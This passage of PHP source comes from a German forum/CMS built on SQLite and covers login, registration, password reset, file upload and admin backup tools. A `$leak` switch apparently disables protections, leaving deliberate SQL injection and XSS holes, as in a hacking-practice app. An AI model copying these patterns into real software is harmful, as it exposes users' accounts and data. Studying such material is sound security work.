    "); } # Neuanmeldung if(preg_match('/^(Dat|Anmeld)en$/',$request) and ($uid or $user) and (isset($_POST['register']) or isset($_POST['change']) or isset($_POST['kill']))) { $array = array( 'username' => '[\w.-]{1,64}', 'password' => '[[:print:]]{0,64}', 'probate' => '[[:print:]]{0,64}', 'forename' => '[\w. -]{1,64}', 'lastname' => '[\w. -]{1,64}', 'question' => '\d{0,8}', 'myquestion' => '[\w,. ?-]{0,96}', 'answer' => '[\w. -]{0,96}', 'town' => '[\w. -]{0,64}', 'info' => '[^\']{0,255}', 'born' => '(\d{2}\.\d{2}\.(19|20)\d{2})?', 'mail' => '[\w.-]+@(localhost|[\w.-]+\.\w+|\[?[\d:a-f]+\]?)', 'page' => '((https?:\/\/)?([\w.-]+|\[[\d:a-f]+\])(:\d+)?(\/[\w:;.,_%?=&#\[\]\/-]*)?)?'); $wrt = (floor($status%4/2) and isset($_POST['id']) and preg_match('/\d*/',$_POST['id'],$var)) ? $var[0] : false; foreach($array as $key => $var) if(isset($_POST[$key]) and preg_match("/$var/i",$_POST[$key],$val)) $post[$key] = strtr($val[0],$html); if(isset($post) and count($post) == count($array) and $post['password'] == $post['probate']) { if(isset($post['born']) and $post['born']) { $post['born'] = implode('-',array_reverse(explode('.',$post['born']))); if(strtotime($post['born']) > time()) unset($post['born']); } $val = $post['probate']; unset($post['probate']); $salt = (!$leak) ? substr(preg_replace('/\W/','',crypt(rand().time())),-12) : false; if($salt and $post['password'] != '') $post['password'] = "salt:$salt-hash:".$hash[0]("$salt-$post[password]-".strtolower($post['username'])); if(isset($post['question']) and isset($post['answer']) and $post['answer'] != '' and ($post['question'] or isset($post['myquestion']) and $post['myquestion'] != '')) $post['passhelp'] = ((!$post['question'] and $post['myquestion'] != '') ? "0-$post[myquestion]:" : "$post[question]-")."$post[answer]"; foreach(array('question','myquestion','answer') as $var) unset($post[$var]); foreach($post as $key => $var) $post[$key] = $sql['es']($var); $key = '(localhost|127(\.\d{1,3}){3}|::1|[\w.-]\.xx)'; if(!$leak and array_search($val,explode(' ',$attack['_wordlist_'])) !== false) $out .= "

    Das Kennwort aus einen Wörterbuch ist zu einfach - Bitte ein sicheres wählen!"; elseif($ipck and !preg_match("/@$key$/",$post['mail']) and ($var = preg_replace('/^[^@]*@/','',$post['mail'])) == gethostbyname($var)) $out .= "

    Die eMail-Adresse läßt sich nicht auflösen oder ist gerade Offline!

    "; elseif($ipck and preg_match("/^$array[page]$/",$post['page'],$var) and count($var) > 3 and !preg_match("/^$key$/",$var[3]) and $var[3] == gethostbyname($var[3])) $out .= "

    Die Homepage-Adresse läßt sich nicht auflösen oder ist gerade Offline!

    "; elseif($user and isset($_POST['register']) and $post['password'] != '') { if(!$var = $sql['aq']($conn," select (select username from [user] where username like '$post[username]') as user, (select mail from [user] where mail like '$post[mail]') as mail where user is not null or mail is not null",SQLITE_NUM)) { if($sql['sq']($conn,"select count(*) from [user]") == 0) // Admin $post['status'] = 2; if(!$sql['e']($conn," insert into [user] ([create],[change],[".implode("],[",array_keys($post))."]) values (datetime('now','localtime'), datetime('now','localtime'), '".implode("','",$post)."')")) $out .= "

    Der Benutzer konnte nicht angelegt werden!

    "; else $request = 'Profil'; } else { $key = array(); if(!is_null($var[0][0])) $key[] = 'Benutzername'; if(!is_null($var[0][1])) $key[] = 'eMail-Adresse'; $out .= "

    ".implode(' und ',$key).((count($key) > 1) ? " sind" : " ist" )." schon im System vorhanden!

    "; } } elseif($uid and (isset($_POST['change']) or isset($_POST['kill'])) and isset($_POST['userpass']) and ($status/2%2 or !preg_match('/^salt:\w+-hash:\w+$/',$_POST['userpass'])) and ($sql['sq']($conn," select count(*) from [user] where (username like '$post[username]' or id = '$wrt') and password='".$sql['es']($_POST['userpass'])."'") or preg_match('/^salt:(.+?)-hash:(\w+)$/',$sql['sq']($conn," select password from user where (username like '$post[username]' or id = '$wrt')"),$var) and $var[2] == $hash[0]("$var[1]-$_POST[userpass]-".strtolower($post['username'])))) { if(isset($_POST['change'])) { if($post['password'] == '') if($salt and !preg_match('/^salt:\w+-hash:\w+$/',$_POST['userpass'])) $post['password'] = "salt:$salt-hash:".$hash[0]("$salt-$_POST[userpass]-".strtolower($post['username'])); else unset($post['password']); $array = array(); foreach($post as $key => $var) $array[$key] = "[$key]='$var'"; $val = str_replace('=',' like ',$array['username']); if($wrt) $val = "($val or id = $wrt)"; @$sql['e']($conn," update [user] set status=0 where $val and status is null"); if(!$sql['e']($conn," update [user] set [change]=datetime('now','localtime'), ".implode(",",$array)." where $val and (status%2=1 or $status/2%2 = 1)")) $out .= "

    Ihre Daten konnten nicht geändert werden!

    "; else $request = 'Profil'; } elseif(isset($_POST['kill']) and $var = $sql['sq']($conn," select id from [user] where [username] like '$post[username]' and (status%2=1 or $status/2%2 = 1)")) { $sql['e']($conn," update [user] set [change]=datetime('now','localtime'), [changes]=[changes]+1, [status]=NULL where id=$var"); $request = ''; } } else $out .= "

    Ihr altes Kennwort stimmt nicht!

    "; } else $out .= "

    Sie haben nicht alle Eingabefelder korrekt ausgefüllt!

    "; } # Kennwort Vergessen if(!$uid and isset($_POST['restore'])) { $post = array(); $wrt = ($leak) ? array() : array( 'forename' => '[\w. -]{1,64}', 'lastname' => '[\w. -]{1,64}', 'mail' => '[\w.-]+@(localhost|[\w.-]+\.\w+|\[?[\d:a-f]+\]?)'); $array = array_merge($wrt,array( 'question' => '\d{1,8}', 'answer' => '[\w. -]{1,96}', 'username' => '[\w.-]{1,64}', 'password' => '[[:print:]]{1,64}', 'probate' => '[[:print:]]{1,64}')); foreach($array as $key => $var) if(isset($_POST[$key]) and preg_match("/$var/i",$_POST[$key],$val)) $post[$key] = strtr($val[0],$html); if(isset($post['username']) and ($leak or isset($post['mail']) and isset($post['forename']) and isset($post['lastname']))) { if($var=$sql['sq']($conn,"select passhelp from [user] where username like '$post[username]'".(($leak) ? "" : " and mail like '$post[mail]'")) and preg_match('/^(\d+)-(?:(?<=0-)(.+?):)?/',$var,$var)) { if(!$post['question'] = $var[1]) $post['myquestion'] = ($var[2] != '') ? $var[2] : false; } else $out .= "

    Das Kennwort kann nicht zurückgesetzt werden, da keine Sicherheitsfrage hinterlegt wurde!

    "; if(isset($post['password']) and isset($post['probate']) and $post['password'] == $post['probate']) { if(isset($post['question']) and isset($post['answer']) and ($leak or isset($post['forename']) and isset($post['lastname'])) and $sql['e']($conn," update [user] set password='".$sql['es']($post['password'])."' where username like '$post[username]'".(($leak) ? "" : " and mail like '$post[mail]' and forename like '$post[forename]' and lastname like '$post[lastname]'")." and passhelp like '$post[question]-".((!$post['question'] and isset($post['myquestion']) and $post['myquestion']) ? "$post[myquestion]:" : "")."$post[answer]'") and $sql['c']($conn)) { $request = ''; $out .= "

    Ihr Kennwort wurde jetzt neu gesetzt!

    "; $row = true; } else { $out .= "

    Die Sicherheitsfrage muss korrekt beantwortet werden!

    "; if(!$leak) $_SESSION['flc'] = (isset($_SESSION['flc'])) ? $_SESSION['flc'] + 1 : 1; } } else $out .= "

    Sie haben noch kein neues korrektes Kennwort vergeben!

    "; } else $out .= "

    Sie müssen alle Felder ausfüllen!

    "; } # Login durchführen if(!$uid and ($row or isset($_POST['login'])) and isset($_POST['username']) and isset($_POST['password'])) { $post = array( 'username' => preg_replace('/[^\w.:@\[\]-]+/','',$_POST['username']), 'password' => preg_replace('/[^[:print:]]/','',$_POST['password'])); if(($val = $sql['aq']($conn," select id,username,password,status,change from [user] where (username like '$post[username]' or mail like '$post[username]') and status is not null")) and $val = $val[0] and (preg_replace('/^salt:\w+-hash:\w+$/','',$post['password']) == $val['password'] or preg_match('/^salt:(.+?)-hash:(\w+)$/',$val['password'],$var) and $var[2] == $hash[0]("$var[1]-$post[password]-".strtolower($val['username'])) or !$leak and isset($_SESSION['sha']) and preg_match('/^([@\w.-]+):(\w+)$/',$post['password'],$var) and $var[1] == $post['username'] and ($var[2] == $hash[0]("$_SESSION[sha]-".$val['password']) or $var[2] == $hash[0]("$_SESSION[sha]-".preg_replace('/^salt:\w+-hash:(\w+)$/','$1',$val['password']))))) { foreach($_SESSION as $key => $var) unset($_SESSION[$key]); $uid = $val['id']; $status = floor($val['status']/2)*2+1; $_SESSION['lua'] = $val['change']; $_SESSION['uid'] = $uid; $sql['e']($conn," update [user] set status=(status/2%8*2+1), logins=logins+1, requests=requests+".((isset($_SESSION['src'])) ? $_SESSION['src'] : 0).", change=datetime('now','localtime'), ip='$addr', session='".$sql['es'](session_id())."', useragent='".$sql['es']($_SERVER['HTTP_USER_AGENT'])."'".((isset($_POST['info'])) ? ", info=nullif('".$sql['es']($_POST['info'])."','')" : "")." where id=".$val['id']); if(isset($_SESSION['src'])) unset($_SESSION['src']); if(!$request and !$query) $request = 'Profil'; if(isset($_POST['forever']) and $_POST['forever']) setcookie('login',"$uid.".$hash[0]("$val[username]:$val[password]"),time()+$ctl,$self); else setcookie('username',$val['username']); } else { $post['password'] = ''; if(!$leak) $_SESSION['flc'] = (isset($_SESSION['flc'])) ? $_SESSION['flc'] + 1 : 1; } } # Profil speichern if($uid and !isset($_POST['stop']) and !isset($_POST['test']) and isset($_POST['profil']) and $sql['e']($conn," update [user] set change=datetime('now','localtime'), changes=changes+1, profil=nullif('".$sql['es']($_POST['profil'])."','') where id=".((isset($_POST['uid']) and $_POST['uid'] != $uid and preg_match('/\d+/',$_POST['uid'],$var)) ? "$var[0] and (select status from [user] where id=$_SESSION[uid])%4 = 3" : "$_SESSION[uid] and status%2=1"))) // XSS $request = 'Profil'; # Blog Bearbeiten if($request == 'Beitrag' and $uid and isset($_POST['save']) and isset($_POST['mail']) and isset($_POST['message']) and isset($_POST['title']) and isset($_POST['id']) and preg_match('/\d+/',$_POST['id'],$var) and $uid == $_POST['mail'] and $_POST['mail'] == $sql['sq']($conn,"select userid from [forum] where id = $var[0]") and $sql['e']($conn," update [forum] set".((isset($_POST['right']) and preg_match('/[01]/',$_POST['right'],$val)) ? "\n\t\tstatus=status/2%2*2+$val[0]%2," : "")." change=datetime('now','localtime'), changes=changes+1, ip='$addr', useragent='".$sql['es']($_SERVER['HTTP_USER_AGENT'])."', title=nullif('".$sql['es'](strtr($_POST['title'],$html))."',''), message='".$sql['es'](strtr($_POST['message'],$html))."' where status is not null and id = $var[0]")) $request = 'Blog'; # Forum Betrag speichern elseif($var = array('') and isset($_POST['save']) and isset($_POST['mail']) and isset($_POST['title']) and isset($_POST['max']) and isset($_POST['message']) and $_POST['message'] != '' and ($uid or $gast) and ($_POST['max'] == $sql['sq']($conn,'select max(id) from [forum]') or (($gast) ? 0 : $uid) != $sql['sq']($conn," select userid from [forum] where id = (select max(id) from [forum])")) and ($_POST['mail'] == '' or preg_match('/^\d+$/',$_POST['mail'],$var) and $sql['sq']($conn," select id from [user] where status is not null and id=$var[0]")) and $sql['e']($conn," insert into [forum] ([create],[change],[status],[userid],[mailid],[ip],[useragent],[path],[title],[message]) values (datetime('now','localtime'),datetime('now','localtime'), ".((isset($_POST['right']) and preg_match('/[01]/',$_POST['right'],$val)) ? $val[0]%2 : 0).", ".(($uid) ? $uid : 0).", nullif('$var[0]',''), '$addr', '".$sql['es']($_SERVER['HTTP_USER_AGENT'])."', nullif('".((isset($_POST['id']) and preg_match('/^\d+$/',$_POST['id'],$val) and $val = $sql['sq']($conn,"select ifnull(path,'/')||id||'/' from [forum] where id=$val[0]")) ? $val : '')."',''), nullif('".$sql['es'](strtr($_POST['title'],$html))."',''), '".$sql['es'](strtr($_POST['message'],$html))."')")) $request = ($var[0]) ? (($var[0] == $uid) ? 'Blog' : 'Mail') : ''; } else $out .= "

    POST-Requests ohne Session-Cookies werden ignoriert!

    "; } # Mails löschen if(preg_match('/Blog|Mail/',$request) and $uid and isset($_GET['kill']) and preg_match('/\d+/',$_GET['kill'],$var) and $uid == $sql['sq']($conn,"select mailid from [forum] where id = $var[0]")) $sql['e']($conn,"update [forum] set status=null where status is not null and id=$var[0]"); # Tagline speichern if($uid and !isset($_REQUEST['stop']) and !isset($_REQUEST['test']) and isset($_REQUEST['tl'])) $sql['e']($conn," update [user] set change=datetime('now','localtime'), changes=changes+1, tagline=nullif('".$sql['es']($_REQUEST['tl'])."','') where id=".(($status/2%2 and isset($_REQUEST['id']) and preg_match('/\d+/',$_REQUEST['id'],$var)) ? $var[0] : $uid)); # Abmelden if(preg_match('/^Abmelden\s?$/',$request)) { if($sql['e']($conn," update [user] set status=(status/2%8*2), chat=null, change=datetime('now','localtime') where ".((isset($_GET['id']) and $_GET['id']) ? "(select status%4 from [user] where id=nullif('$uid',''))=3 and id=".(($leak) ? $_GET['id'] : preg_replace('/\D/','',$_GET['id'])) : "id='$uid' and status%2=1")) and $sql['c']($conn) and (!$status/2%2 or !isset($_GET['id']))) { session_unset(); if(isset($_COOKIE['login'])) { setcookie('login',0,time()-$ctl,$self); unset($_COOKIE['login']); } } // if(substr($request,-1) != ' ') $request = ''; $uid = $status = false; } # Login Forumlar if(!$uid and (!preg_match('/^(Anmelden|Kennwort|SQL|Beitrag|Creole)$/',$request,$var) and !$info[3] and (($user or !$lone) and !$content or !is_array($content) and preg_match('/(<|<){3}login(\d?)(>|>){3}/i',$content,$var) or $request == 'Login') or !$inet and !$local and trim($request) == 'Impressum')) { if(!(isset($post['username']) and $post['username']) and isset($_COOKIE['username']) and $_COOKIE['username']) $post['username'] = ($leak) ? $_COOKIE['username'] : preg_replace('/^([^\w.:@\[\]-]*).*$/','$1',$_COOKIE['username']); if(!$leak and $hash) $head['hash'] = ""; $out = "
    '&', "'" => '"'))."'").">
    Login {username|Benutzername oder eMail:|20|64|tabindex=1}
    {password|Kennwort:".((!$local and !$inet) ? "" : " (Vergessen?)")."|*20|64|tabindex=2}



    ".(($user and ($local or $inet)) ? "Neues Mitglied werden" : "")) ."
    $out"; } # Datei-Upload if($uid and $request == 'Datei') { $len = $sql['sq']($conn,"select sum(abs(size)) from [file] where user = $uid and status is not null"); if(isset($_FILES['file']) and !$_FILES['file']['error'] and file_exists($_FILES['file']['tmp_name'])) { $name = preg_replace('/[^\w!,.-]/','',((isset($_POST['name']) and $_POST['name'] != '') ? $_POST['name'] : $_FILES['file']['name'])); if(!$status/2%2 and ($len + $_FILES['file']['size']) > $maxfile) $out .= "

    Sie haben ihren Datei-Upload Content um ".number_format(($len - $maxfile),0,',','.')." Bytes überschritten!

    "; elseif(!$type = array_search(strtolower(preg_replace('/^.*?\.(\w+)$/','$1',$name)),$type) and !$status/2%2) $out .= "

    Ihr Datei-Upload besitzt einen nicht erlaubten Datei-Type!

    "; else { $data = file_get_contents($_FILES['file']['tmp_name']); $crc = str_pad(dechex(crc32($data)),8,0,STR_PAD_LEFT); $size = strlen($data); $len += $size; $var = array_merge(array( '[create]' => "datetime('now','localtime')", '[status]' => (int)$_POST['right'] + (int)$_POST['status'], '[user]' => $uid, '[name]' => "'$name'", '[ip]' => "'$addr'", '[useragent]' => "nullif('".$sql['es']($_SERVER['HTTP_USER_AGENT'])."','')", '[info]' => "nullif('".$sql['es'](strtr($_POST['info'],$html))."','')"), ($link = $sql['sq']($conn,"select id from [file] where link is null and hash = '$crc' and abs(size) = $size")) ? array('[link]' => $link) : array( '[size]' => $size, '[hash]' => "'$crc'", '[type]' => (($type) ? "nullif('".preg_replace('![^\w/ ;=+-]!','',$_FILES['file']['type'])."','')" : "null"), '[data]' => "'".base64_encode($data)."'")); if(isset($var['[data]']) and $data = $gz['deflate']($data,9) and strlen($data) < $size) { $var['[data]'] = "'".base64_encode($data)."'"; $var['[size]'] *= -1; } if($val = $sql['sq']($conn,"select id from [file] where status is not null and user = $uid and name like ".$var['[name]']." limit 1")) { // $sql['e']($conn,"update [file] set status = null where id = $val"); $key = array(); foreach($var as $k => $v) $key[] = "$k = $v"; if(!@$sql['e']($conn,"update [file] set\n\t".implode(",\n\t",$key)."\nwhere id = $val")) $var = false; } elseif(!@$sql['e']($conn,"insert into [file] (".implode(',',array_keys($var)).") values (".implode(',',array_values($var)).")")) $var = false; if(!$var) $out .= "

    Datei konnte nicht verarbeitet werden!

    "; } } elseif(isset($_POST['send']) and isset($_POST['id']) and preg_match('/\d+/',$_POST['id'],$var)) { $sql['e']($conn," update [file] set status = ".((int)$_POST['right'] + (int)$_POST['status']).", name = '".preg_replace('/[^\w!&,.-]/','',$_POST['name'])."', info = '".$sql['es']($_POST['info'])."'" .(($status/2%2 and isset($_POST['type'])) ? ",\n\t\ttype = ".((preg_match('![\w/ ;=+-]+!',$_POST['type'],$val)) ? "'$val[0]'" : "null") : "")." where status is not null and id = $var[0]".(($status/2%2) ? "" : " and user = $uid ")); if(isset($_POST['charset']) and preg_match('/^[\w-]+$/',$_POST['charset'],$val) and $var = $sql['aq']($conn," select ifnull(b.id,a.id) as id, ifnull(b.type,a.type) as type from [file] as a left join [file] as b on a.link = b.id where a.status is not null and ifnull(a.type,b.type) like 'text/%'".(($status/2%2) ? "" : " and a.user = $uid")." and a.id = $var[0]")) $sql['e']($conn," update [file] set type = '".preg_replace('!^([\w/-]+).*$!','$1',$var[0]['type'])."; charset=$val[0]' where id = ".$var[0]['id']); } elseif(isset($_GET['kill']) and preg_match('/\d+/',$_GET['kill'],$var)) if($sql['sq']($conn,"select 1+status from [file] where id = $var[0]")) $sql['e']($conn,"update [file] set status = null where (user = $uid or $status/2%2) and id = $var[0]"); else $sql['e']($conn,strtr("begin; update [file] set size = (select size from [file] where id = #), hash = (select hash from [file] where id = #), type = (select type from [file] where id = #), data = (select data from [file] where id = #) where id = (select id from [file] where link = # limit 1); update [file] set link = (select id from [file] where link = # and data is not null) where link = #; update [file] set link = null where id = link; delete from [file] where id = #; commit;",array('#' => $var[0]))); elseif($status/2%2 and isset($_GET['restore']) and preg_match('/\d+/',$_GET['restore'],$var)) $sql['e']($conn," update [file] set status = 1 where id = $var[0]"); $data = (($status/2%2 and !is_bool($mid)) ? (($mid < 0) ? '' : "where a.user = $mid") : "where a.user = $uid and a.status is not null"); $num = $sql['sq']($conn,"select count(*) from [file] as a $data"); if($page[0] == '') $page = array(1,"page=1"); preg_replace($paging[5],$paging[6],"$num,$max,#key#"); if($rows = $sql['aq']($conn," select a.name as name, abs(ifnull(a.size,b.size)) as absize, a.user||'-'||a.name as flink, a.id as id, u.username as uname, a.ip as ip, ifnull(a.status/2%2,1) as status, a.status%2 as right, a.[create], ifnull(a.hash,b.hash) as hash, a.info as info, ifnull(a.type,b.type) as type, a.useragent as agent, a.link as link, a.user as user, ifnull(a.size,b.size) as size, ifnull(length(a.data),0) as truesize, strftime('%d.%m.%Y %H:%M:%S',a.[create]) as erstellt from [file] as a left join [file] as b on a.link = b.id left join [user] as u on a.user = u.id $data".preg_replace($sorth[2],$sorth[3],'u.id,a.name;11;a.name')." limit $val,$max",SQLITE_ASSOC)) { $row = array(); // user $val = ($status/2%2 and $mid) ? "&user=$mid" : false; $key = 0; foreach($rows as $var) $row[] = "$var[name]".number_format((($key += $a = abs($var['size'])) ? $a : 0),0,',','.')."" ."::f/$var[flink]" .(($status/2%2) ? "::f/$var[id]".(($var['link']) ? "#$var[link]" : "")."".(($var['uname']) ? "$var[uname]" : "Unbekannt")."$var[ip]" : "") ."".(($var['status']) ? "Privat" : "Öffendlich")."".(($var['right']) ? "Jeder" : ((is_null($var['right'])) ? "Gesperrt" : "Benutzer"))."" ."$var[erstellt]".(($var['hash']) ? $var['hash'] : "-/-")."" .@preg_replace(array_keys($creole),array_values($creole),strtr($var['info'],array_slice($html,1))) ." X"; $out .= "
    Übersicht ".(($status/2%2) ? (($mid and $mid < 0) ? "aller" : "aller") : "Ihrer")." hochgeladenen Dateien".((($var = preg_replace($sorth[0],$sorth[1],"Datei=1\tGröße=2\tDatei-Link=3\t(ID-Link=4)\t(Benutzer=5)\t(IP-Adresse=6)\tStatus=7\tRechte=8\tErstellt=9\tHash=10\tBeschreibung=11")) and $status/2%2 and $mid) ? preg_replace('/(?=sort=)/',"user=$mid&",$var) : $var)."".implode("",$row)."
     

    $code

    "; } $row = ($id and $row = $sql['aq']($conn," select a.status as status, a.name as name, a.info as info, ifnull(a.type,b.type) as type from [file] as a left join [file] as b on a.link = b.id where a.id = $id")) ? reset($row) : array('name' => '', 'info' => '', 'status' => 1, 'type' => ''); $val = ($status/2%2) ? (($mid == -1) ? array($key,'insgesamt belegt') : array($len,'belegt')) : array($maxfile-$len,'frei'); $out .= "
    Datei-Upload (".number_format(($val[0]),0,',','.')." Bytes $val[1])
    Datei
    Dateiname
    Beschreibung
    Status
    Rechte
    " .(($status/2%2 and ($row['type'] or is_null($row['type']))) ? "
    Content-Type:" .((preg_match('!^text/!',$row['type'])) ? " (iso / utf-8)": '')."
    " : ((preg_match('!^text/([\w-]+)(?:;\s*charset\s*=\s*([\w-]+))?$!',$row['type'],$var)) ? "
    Charset (iso / utf-8)
    " : ""))."
    "; } # Administrator Werkzeuge if($uid and $status/2%2 or $info[3] != '') { $info[4] = "|>-\n|--[ [[^Backup]] ~| [[^CMS]] ~| [[^SQL|SQL-Konsole]] ~| [[^Status]] ]--|\n"; if(preg_match('/^(cms|backup|sql|status)$/i',$request)) $info[8] = @preg_replace(array_keys($creole),array_values($creole),"$info[4]--"); if($request == 'Status' and array_sum($var = reset(($sql['aq']($conn," select (select count(*) from user where status/2%2), (select count(*) from user where status%2), (select count(*) from user where status%2 = 0), (select sum(logins) from user), (select sum(requests) from user), (select count(*) from (select count(*) from [user] group by ip having count(*) > 1))",SQLITE_NUM))))) { $out .= "$info[8]"; $out .= "
    Allgemein" ."Admins: $var[0] - ".((is_array($val = $sql['sq']($conn,"select Username from user where status/2%2"))) ? implode(", ",$val) : $val) ." / Online: $var[1] / Offline: $var[2] / Logins: ".number_format($var[3],0,',','.')." / Zugriffe: ".number_format($var[4],0,',','.')." / Gleiche IPs: $var[5]
    Inhalte" .preg_replace($sorth[0],$sorth[1],"Art=1\tBenutzer=2\tInsgesamt=3\tÖffendlich=4\tGelöscht=5\tZuerst Erstellt=6\tZuletzt Erstellt=7\tZuletzt Geändert=8").""; $row = array(); foreach($sql['aq']($conn," select 'Mitglieder', (select count(profil) from user where status is not null), (select count(*) from user where status is not null), (select count(page) from user where status is not null), (select count(*) from user where status is null), (select min([create]) from user), (select max([create]) from user), (select max(change) from user) union select 'Blog', (select count(*) from (select count(*) from forum where status is not null and mailid = userid and mailid is not null group by userid)), (select count(*) from forum where status is not null and mailid = userid and mailid is not null), (select count(*) from forum where status%2=0 and mailid = userid and mailid is not null), (select count(*) from forum where status is null and mailid = userid and mailid is not null), (select min([create]) from forum where mailid is not null and userid = mailid), (select max([create]) from forum where mailid is not null and userid = mailid), (select max([change]) from forum where mailid is not null and userid = mailid) union select 'Chat', (select count(user) from chat), (select count(*) from chat), (select count(*) from (select distinct u.id from user as c left join user as u on c.chat = u.id where u.id is not null and u.status/4%2 group by u.id)), null, (select min(time) from chat), (select max(time) from chat), null union select 'CMS', (select count(*) from user where status/2%2), (select count(*) from cms), (select count(*) from cms where status/8%2), null, (select min([create]) from cms), (select max([create]) from cms), (select max([change]) from cms) union select 'Datei', (select count(*) from (select count(*) from file where status is not null group by user)), (select count(*) from file where status is not null), (select count(*) from file where status%2=0), (select count(*) from file where status is null), (select min([create]) from file), (select max([create]) from file), null union select 'Mail', (select count(*) from (select count(*) from forum where status is not null and mailid != userid and mailid is not null group by userid)), (select count(*) from forum where status is not null and mailid is not null and mailid != userid), null, (select count(*) from forum where status is null and mailid is not null and mailid != userid), (select min([create]) from forum where mailid is not null and userid != mailid), (select max([create]) from forum where mailid is not null and userid != mailid), (select max([change]) from forum where mailid is not null and userid != mailid) union select 'Forum', (select count(*) from (select count(*) from forum where status is not null and mailid is null group by userid)), (select count(*) from forum where status is not null and mailid is null), (select count(*) from forum where status%2=0 and mailid is null), (select count(*) from forum where status is null and mailid is null), (select min([create]) from forum where mailid is null), (select max([create]) from forum where mailid is null), (select max([change]) from forum where mailid is null)".preg_replace($sorth[2],$sorth[3],"1;8"),SQLITE_NUM) as $line) if($line[2]) { $out .= ""; foreach($line as $key => $var) $out .= "".((is_null($var)) ? "-/-" : $var) : ">".preg_replace('/(\d+)-(\d+)-(\d+) (\d+):(\d+):(\d+)/','$3.$2.$1 $4:$5',$var)) : ">$var").""; $out .= ""; } $out .= "
    "; } if($request == 'Backup') { // Backup Database $var = (isset($_FILES['sqlite']['tmp_name']) and !$_FILES['sqlite']['error'] and file_exists($_FILES['sqlite']['tmp_name'])) ? $_FILES['sqlite']['tmp_name'] : "$base.gz"; if($query == 'reorg') $sql['e']($conn,"vacuum"); elseif(isset($_POST['create']) and (!file_exists("$base.gz") or $owbu) and ($fr=fopen($base,'rb')) and ($fw=$gz['open']("$base.gz",'wb9'))) { while(!feof($fr)) $gz['write']($fw,fread($fr,1024)); fclose($fr); $gz['close']($fw); } if($var != "$base.gz" or isset($_POST['reset'])) { // Restore $sql['cl']($conn); if(($fr=$gz['open']($var,'rb')) and ($fw=fopen($base,'wb'))) { while(!$gz['eof']($fr)) fwrite($fw,$gz['read']($fr,1024)); $gz['close']($fr); fclose($fw); @touch($base,filemtime($var)); header("Location: $self"); die("Weiter zum Forum"); } } elseif(isset($_GET['download']) and file_exists($var = preg_replace('/\/.*$/','',$base)."/".basename($_GET['download']).strrchr($base,'.')) and is_file($var)) { // Save Fail-DB header('Content-Type: application/octetstream'); header('Content-Disposition: filename="'.basename($var).'"'); header('Content-Length: '.filesize($var)); readfile($var); exit(); } elseif(isset($_POST['backup']) or $query == 'download') { // Save DB $var = ($query and file_exists("$base.gz")) ? file_get_contents("$base.gz") : $gz['encode'](file_get_contents($base),9); header('Content-Type: application/x-gzip'); header('Content-Disposition: filename="'.basename($base).'.gz"'); header('Content-Length: '.strlen($var)); die($var); } elseif(isset($_REQUEST['sqldump']) and $tables = $sql['q']($conn,"select name,sql from sqlite_master where type='table' and name not like 'sqlite_%'")) { // Make SQL-Dump $eol = "\r\n"; $val = "begin;$eol"; while($table = $sql['fa']($tables,SQLITE_ASSOC)) { $val .= ((isset($_REQUEST['dt'])) ? ((isset($_REQUEST['ct'])) ? "drop table" : "delete from")." [$table[name]];$eol" : "") .((isset($_REQUEST['ct'])) ? "$table[sql];" : "/* ".$table['sql']." */").$eol; if($lines = $sql['q']($conn,"select * from [$table[name]]")) { $cols = $sql['nf']($lines); $name = array(); for($a=0; $a<$cols; $a++) $name[] = "[".$sql['fn']($lines,$a)."]"; while($line = $sql['fa']($lines,SQLITE_NUM)) { foreach($line as $key => $var) $line[$key] = (is_null($var)) ? 'null' : ((preg_match('/^(0|-?[1-9]\d*(\.\d+)?)$/',$var)) ? $var : "'".$sql['es']($var)."'"); $val .= "insert into [$table[name]] (".implode(",",$name).") values (".implode(",",$line).");$eol"; } } } $val = $gz['encode']($val."commit;$eol",9); header('Content-Type: application/x-gzip'); header('Content-Disposition: filename="'.preg_replace('/(?<=\.)\w+$/','sql',basename($base)).'.gz"'); header('Content-Length: '.strlen($val)); die($val); } else $out .= "$info[8]
    Datenbank Backup
    ".basename($base)."
    ".number_format(filesize($base),0, '.', ',')." Bytes
    SQLite-Binary:


    SQL-Dump:

    " .((file_exists("$base.gz")) ? "
    ".basename($base).".gz
    vom: ".date("d.m.Y H:i:s",filemtime("$base.gz"))."
    Letzte Sicherung:
    " : "") .((!file_exists("$base.gz") or $owbu) ? "
    Sicherung:
    " : "") .(($val = glob(preg_replace('/(?=\.\w+$)/','_*',$base))) ? "
    Defekte Datenbanken:
    ".implode("
    ",preg_replace('/^((.*?)_(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d))(\.\w+)$/',"$2$9 vom: $5.$4.$3 $6:$7:$8",$val))."
    " : '') ."
    Hochladen & Zurückspielen:

    "; } # Administration von Forenbeträgen if($request == 'Admin') { if(isset($_GET['kill']) and preg_match('/\d+/',$_GET['kill'],$var)) $sql['e']($conn,"delete from [forum] where id=$var[0]"); elseif(isset($_GET['lock']) and preg_match('/\d+/',$_GET['lock'],$var)) $sql['e']($conn,"update [forum] set status=null where status is not null and id=$var[0]"); elseif(isset($_GET['save']) and preg_match('/\d+/',$_GET['save'],$var)) $sql['e']($conn,"update [forum] set status=0 where status is null and id=$var[0]"); if(isset($_GET['edit']) and preg_match('/\d+/',$_GET['edit'],$var)) { if(isset($_POST['edit']) and isset($_POST['message']) and $_POST['message'] != '') { $sql['e']($conn," update [forum] set change=datetime('now','localtime'), changes=changes+1, title=nullif('".((isset($_POST['title'])) ? $sql['es'](strtr($_POST['title'],$html)) :'')."',''), message='".$sql['es'](strtr($_POST['message'],$html))."', status=nullif('".preg_replace('/\D/','',$_POST['status'])."',''), userid=".preg_replace('/\D/','',$_POST['userid']).", mailid=nullif('".preg_replace('/\D/','',$_POST['mailid'])."',''), path=nullif('".preg_replace('/[^\d\/]/','',$_POST['path'])."','') where id=$var[0]"); $request = ($mid or $_POST['mailid']) ? (($_POST['mailid'] == $_POST['userid']) ? 'Blog' : 'Mail') : ''; if(!$q) $q = $var[0]; } else { $wrt = array(); if($getopt != '') $wrt[] = $getopt; if($page[1] != '') $wrt[] = $page[1]; $wrt = "$self/Admin?".implode('&',$wrt).((count($wrt) > 0) ? '&' : ''); $line = reset(($sql['aq']( $conn," select f.id as id, strftime('%s',f.[create]) as 'create', strftime('%s',f.change) as change, strftime('%d.%m.%Y %H:%M:%S',f.[create]) as crdatum, strftime('%d.%m.%Y %H:%M:%S',f.change) as chdatum, f.changes as changes, f.userid as userid, f.mailid as mailid, f.ip as uip, f.useragent as ua, f.status as status, ifnull(f.status%2,'-1') as right, f.path as path, f.title as title, f.message as message, u.username as author from [forum] as f left join [user] as u on u.id = f.userid where f.id=$var[0]",SQLITE_ASSOC))); foreach($_POST as $k => $v) 